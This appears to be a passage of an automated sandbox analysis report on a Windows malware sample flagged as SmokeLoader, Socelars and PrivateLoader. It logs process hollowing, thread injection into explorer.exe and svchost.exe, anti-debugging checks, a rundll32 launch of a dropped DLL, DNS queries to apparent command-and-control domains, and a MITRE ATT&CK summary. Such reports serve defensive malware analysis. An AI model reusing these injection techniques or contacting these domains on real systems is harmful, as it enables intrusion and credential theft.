Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0093092B mov eax, dword ptr fs:[00000030h]	0_2_0093092B
Source: C:\Users\user\AppData\Roaming\viiivdw	Code function: 11_2_008E0D90 mov eax, dword ptr fs:[00000030h]	11_2_008E0D90
Source: C:\Users\user\AppData\Roaming\viiivdw	Code function: 11_2_008E092B mov eax, dword ptr fs:[00000030h]	11_2_008E092B
Source: C:\Users\user\AppData\Local\Temp\6D2B.exe	Code function: 14_2_02EAB0A3 push dword ptr fs:[00000030h]	14_2_02EAB0A3
Source: C:\Users\user\AppData\Local\Temp\6D2B.exe	Code function: 14_2_02F40042 push dword ptr fs:[00000030h]	14_2_02F40042

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Roaming\viiivdw	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D510.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FC9E.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\FC9E.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Roaming\wtiivdw	Process queried: DebugPort

Source: C:\Windows\System32\wbem\WmiPrvSE.exe

Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\AppData\Local\Temp\db.dll",open

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\6D2B.exe

Code function: 14_2_02EAC71C rdtsc

14_2_02EAC71C

Source: C:\Users\user\AppData\Local\Temp\FC9E.exe

Process token adjusted: Debug

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Domain query: cucumbetuturel4.com
Source: C:\Windows\explorer.exe	Domain query: susuerulianita1.net
Source: C:\Windows\explorer.exe	Domain query: linislominyt11.at
Source: C:\Windows\explorer.exe	Domain query: moroitomo4.net
Source: C:\Windows\explorer.exe	Domain query: megaplusredirection.tedata.net
Source: C:\Windows\explorer.exe	Domain query: monsutiur4.com
Source: C:\Windows\explorer.exe	Domain query: nusurionuy5ff.at
Source: C:\Windows\explorer.exe	Domain query: nunuslushau.com

Benign windows process drops PE files

Source: C:\Windows\explorer.exe

File created: FC9E.exe.2.dr

Jump to dropped file

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\file.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Roaming\viiivdw	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\viiivdw	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D510.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D510.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wtiivdw	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write
Source: C:\Users\user\AppData\Roaming\wtiivdw	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read

Allocates memory in foreign processes

Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2493D870000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2388C130000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2E4A0F50000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 23FFE3A0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 17738CE0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 14F769B0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1F349FA0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1C475D50000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 171AEBB0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1AA25DB0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1CA1B5A0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 20FBD7A0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 23F8CDA0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 20293F40000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 292BA6E0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 21FB6ED0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1D9CF350000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 278EEBA0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1FF21DA0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 26EA8270000 protect: page execute and read and write	Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\6D2B.exe

Memory written: C:\Users\user\AppData\Local\Temp\6D2B.exe base: 400000 value starts with: 4D5A

Jump to behavior

Contains functionality to inject code into remote processes

Source: C:\Users\user\AppData\Local\Temp\6D2B.exe

Code function: 14_2_02F40110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,SetThreadContext,ResumeThread,ExitProcess,

14_2_02F40110

Creates a thread in another existing process (thread injection)

Source: C:\Users\user\Desktop\file.exe	Thread created: C:\Windows\explorer.exe EIP: 2951B44	Jump to behavior
Source: C:\Users\user\AppData\Roaming\viiivdw	Thread created: unknown EIP: 2991B44	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D510.exe	Thread created: unknown EIP: 4861A50	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread created: unknown EIP: 3D870000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread created: unknown EIP: 8C130000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread created: C:\Windows\System32\svchost.exe EIP: A0F50000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread created: unknown EIP: FE3A0000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread created: unknown EIP: 38CE0000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread created: unknown EIP: 769B0000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread created: unknown EIP: 49FA0000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread created: unknown EIP: 75D50000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread created: unknown EIP: AEBB0000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread created: unknown EIP: 25DB0000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread created: unknown EIP: 1B5A0000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread created: unknown EIP: BD7A0000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread created: unknown EIP: 8CDA0000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread created: unknown EIP: 93F40000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread created: unknown EIP: BA6E0000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread created: unknown EIP: B6ED0000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread created: unknown EIP: CF350000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread created: unknown EIP: EEBA0000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread created: unknown EIP: 21DA0000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread created: unknown EIP: A8270000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wtiivdw	Thread created: unknown EIP: 6441A50

Sample uses process hollowing technique

Source: C:\Users\user\AppData\Local\Temp\6D2B.exe

Section unmapped: unknown base address: 400000

Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\explorer.exe	Memory written: C:\Windows\SysWOW64\explorer.exe base: C7F380	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 2493D870000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 2388C130000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 2E4A0F50000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 23FFE3A0000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 17738CE0000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 14F769B0000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 1F349FA0000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 1C475D50000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 171AEBB0000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 1AA25DB0000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 1CA1B5A0000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 20FBD7A0000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 23F8CDA0000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 20293F40000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 292BA6E0000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 21FB6ED0000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D9CF350000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 278EEBA0000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 1FF21DA0000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 26EA8270000	Jump to behavior

Injects code into the Windows Explorer (explorer.exe)

Source: C:\Windows\explorer.exe	Memory written: PID: 1544 base: C7F380 value: 90			Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: PID: 5492 base: 7FF69BD28150 value: 90			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\6D2B.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown

Source: explorer.exe, 00000002.00000000.353249434.0000000000ED0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000002.00000000.316482333.0000000000ED0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000002.00000000.362903047.00000000086C0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000002.00000000.353249434.0000000000ED0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000002.00000000.316482333.0000000000ED0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000002.00000000.374758041.0000000000ED0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: uProgram Manager*r
Source: explorer.exe, 00000002.00000000.353249434.0000000000ED0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000002.00000000.316482333.0000000000ED0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000002.00000000.374758041.0000000000ED0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: 5449.exe, 00000026.00000003.579421618.0000000006573000.00000004.00000800.00020000.00000000.sdmp, Piramide.dotx.38.dr	Binary or memory string: @EXITMETHOD@EXITCODEShell_TrayWnd%s-CALLGUICTRLREGISTERLISTVIEWSORTGUICTRLCREATELISTVIEWITEMGUICTRLCREATETREEVIEWITEMGUICTRLCREATECONTEXTMENUONAUTOITEXITUNREGISTERGUICTRLCREATELISTVIEWGUICTRLCREATEMENUITEMGUICTRLCREATECHECKBOXGUICTRLCREATEMONTHCALGUICTRLCREATEPROGRESSGUICTRLCREATETREEVIEWGUICTRLCREATEGRAPHICSTRINGFROMASCIIARRAYONAUTOITEXITREGISTERGUICTRLCREATETABITEMGUICTRLSETDEFBKCOLORINIREADSECTIONNAMESGUICTRLCREATEBUTTONDLLCALLBACKREGISTERGUICTRLCREATEUPDOWNGUICTRLCREATESLIDERSTRINGREGEXPREPLACEOBJCREATEINTERFACEGUICTRLSENDTODUMMYFILECREATESHORTCUTGUICTRLCREATEINPUTSOUNDSETWAVEVOLUMEFILECREATENTFSLINKGUISETACCELERATORSGUICTRLCREATECOMBOGUICTRLSETDEFCOLORPROCESSSETPRIORITYGUICTRLSETRESIZINGSTRINGTOASCIIARRAYDRIVEGETFILESYSTEMGUICTRLCREATEDUMMYTRAYITEMSETONEVENTGUICTRLCREATERADIOWINMINIMIZEALLUNDOGUICTRLCREATEGROUPGUICTRLCREATELABELAUTOITWINSETTITLEGUICTRLSETBKCOLORAUTOITWINGETTITLEGUICTRLSETGRAPHICGUICTRLCREATEDATEGUICTRLCREATEICONGUICTRLSETONEVENTCONSOLEWRITEERRORDLLCALLBACKGETPTRGUICTRLCREATELISTTRAYITEMGETHANDLEFILEFINDFIRSTFILEGUICTRLCREATEEDITGUICTRLCREATEMENUWINMENUSELECTITEMGUICTRLSETCURSORDLLSTRUCTGETDATASTATUSBARGETTEXTFILERECYCLEEMPTYFILESELECTFOLDERTRAYITEMSETSTATEDLLSTRUCTSETDATATRAYITEMGETSTATEWINGETCLIENTSIZEGUICTRLCREATEAVIHTTPSETUSERAGENTGUICTRLCREATEPICCONTROLGETHANDLEGUIGETCURSORINFOTRAYSETPAUSEICONFILEFINDNEXTFILEINIRENAMESECTIONDLLSTRUCTGETSIZESHELLEXECUTEWAITPROCESSWAITCLOSEGUICTRLCREATETABFILEGETSHORTNAMEWINWAITNOTACTIVEGUICTRLCREATEOBJGUICTRLGETHANDLESTRINGTRIMRIGHTGUICTRLSETLIMITGUICTRLSETIMAGEINIWRITESECTIONCONTROLTREEVIEWAUTOITSETOPTIONGUICTRLSETCOLORDLLSTRUCTGETPTRADLIBUNREGISTERDRIVESPACETOTALGUICTRLSETSTATEWINGETCLASSLISTGUICTRLGETSTATEFILEGETSHORTCUTDLLSTRUCTCREATEPROCESSGETSTATSCONTROLGETFOCUSDLLCALLBACKFREEGUICTRLSETSTYLEFILEREADTOARRAYTRAYITEMSETTEXTCONTROLLISTVIEWTRAYITEMGETTEXTFILEGETENCODINGFILEGETLONGNAMEGUICTRLSENDMSGSENDKEEPACTIVEDRIVESPACEFREEFILEOPENDIALOGGUICTRLRECVMSGCONTROLCOMMANDSTRINGTOBINARYWINMINIMIZEALLSTRINGISXDIGITTRAYSETONEVENTFILESAVEDIALOGDUMMYSPEEDTESTCONTROLGETTEXTMOUSECLICKDRAGGUICTRLSETFONTMOUSEGETCURSORWINGETCARETPOSCONTROLSETTEXTTRAYITEMDELETESTRINGTRIMLEFTDRIVEGETSERIALBINARYTOSTRINGGUICTRLSETDATAINIREADSECTIONUDPCLOSESOCKETCONTROLDISABLETRAYCREATEMENUTCPCLOSESOCKETDLLCALLADDRESSFILEGETVERSIONGUIREGISTERMSGTRAYSETTOOLTIPTRAYCREATEITEMDRIVEGETDRIVESTRINGISASCIISTRINGCOMPARESTRINGISALPHAPROCESSEXISTSSTRINGREVERSESTRINGSTRIPCRSPLASHIMAGEONGUICTRLSETTIPGUISTARTGROUPCONTROLGETPOSFILEGETATTRIBADLIBREGISTERDRIVESETLABELGUICTRLDELETEFILECHANGEDIRFILEWRITELINEPIXELCHECKSUMDRIVEGETLABELGUICTRLSETPOSGUISETBKCOLORPIXELGETCOLORSTRINGISDIGITSTRINGISFLOATWINWAITACTIVESTRINGISALNUMSTRINGISLOWERSTRINGISSPACEGUISETONEVENTSTRINGREPLACESTRINGSTRIPWSCONTROLENABLESTRINGISUPPERWINGETPROCESSFILESETATTRIBCONTROLFOCUSFILEREADLINEPROCESSCLOSEGUISETCURSORSPLASHTEXTONSTRINGFORMATTRAYSETSTATESTRINGREGEXPCONTROLCLICKSHELLEXECUTETRAYSETCLICKWINWAITCLOSEHTTPSETPROXYDRIVEGETTYPEWINGETHANDLECONSOLEWRITEGUIGETSTYLECONTR
Source: explorer.exe, 00000002.00000000.353249434.0000000000ED0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000002.00000000.316482333.0000000000ED0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000002.00000000.374758041.0000000000ED0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: explorer.exe, 00000002.00000000.352489483.0000000000878000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.316234357.0000000000878000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.374147694.0000000000878000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ProgmanLoc*U

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\6D2B.exe

Code function: 14_2_004080CF GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

14_2_004080CF

Stealing of Sensitive Information

Yara detected SmokeLoader

Source: Yara match	File source: 43.3.wtiivdw.ad0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.D510.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.D510.exe.8a0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 43.2.wtiivdw.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.3.D510.exe.8b0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 43.2.wtiivdw.970e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000002.431544123.00000000009E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.388828399.00000000009D0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.543359383.00000000008B0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002B.00000002.756514183.00000000025B1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.375518696.0000000002951000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.543480502.00000000009B1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.388881191.00000000009F1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002B.00000003.634917152.0000000000AD0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002B.00000002.694638414.0000000000AD0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000003.527933662.00000000008B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.431633952.0000000000A11000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY

Yara detected Socelars

Source: Yara match	File source: 31.2.FC9E.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.2.FC9E.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001F.00000002.566526053.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.626235893.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: FC9E.exe PID: 240, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: FC9E.exe PID: 5728, type: MEMORYSTR

Yara detected PrivateLoader

Source: Yara match	File source: 31.2.FC9E.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.2.FC9E.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.6D2B.exe.2f415a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.6D2B.exe.2f415a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000E.00000002.653846981.0000000002F40000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.566526053.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.626235893.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY

Remote Access Functionality

Yara detected SmokeLoader

Source: Yara match	File source: 43.3.wtiivdw.ad0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.D510.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.D510.exe.8a0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 43.2.wtiivdw.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.3.D510.exe.8b0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 43.2.wtiivdw.970e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000002.431544123.00000000009E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.388828399.00000000009D0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.543359383.00000000008B0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002B.00000002.756514183.00000000025B1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.375518696.0000000002951000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.543480502.00000000009B1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.388881191.00000000009F1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002B.00000003.634917152.0000000000AD0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002B.00000002.694638414.0000000000AD0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000003.527933662.00000000008B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.431633952.0000000000A11000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY

Yara detected PrivateLoader

Source: Yara match	File source: 31.2.FC9E.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.2.FC9E.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.6D2B.exe.2f415a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.6D2B.exe.2f415a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000E.00000002.653846981.0000000002F40000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.566526053.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.626235893.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	11 Windows Management Instrumentation	1 LSASS Driver	1 LSASS Driver	1 Disable or Modify Tools	1 Input Capture	1 System Time Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	3 Ingress Tool Transfer	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	1 Shared Modules	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 File and Directory Discovery	Remote Desktop Protocol	1 Input Capture	Exfiltration Over Bluetooth	11 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	912 Process Injection	21 Obfuscated Files or Information	Security Account Manager	5 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	4 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	2 Command and Scripting Interpreter	Logon Script (Mac)	Logon Script (Mac)	111 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	Scheduled Transfer	115 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	321 Security Software Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	1 File Deletion	Cached Domain Credentials	12 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	111 Masquerading	DCSync	3 Process Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	12 Virtualization/Sandbox Evasion	Proc Filesystem	1 Application Window Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	912 Process Injection	/etc/passwd and /etc/shadow	1 Remote System Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	1 Hidden Files and Directories	Network Sniffing	Process Discovery	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact
Compromise Software Dependencies and Development Tools	Windows Command Shell	Cron	Cron	1 Regsvr32	Input Capture	Permission Groups Discovery	Replication Through Removable Media	Remote Data Staging	Exfiltration Over Physical Medium	Mail Protocols			Service Stop
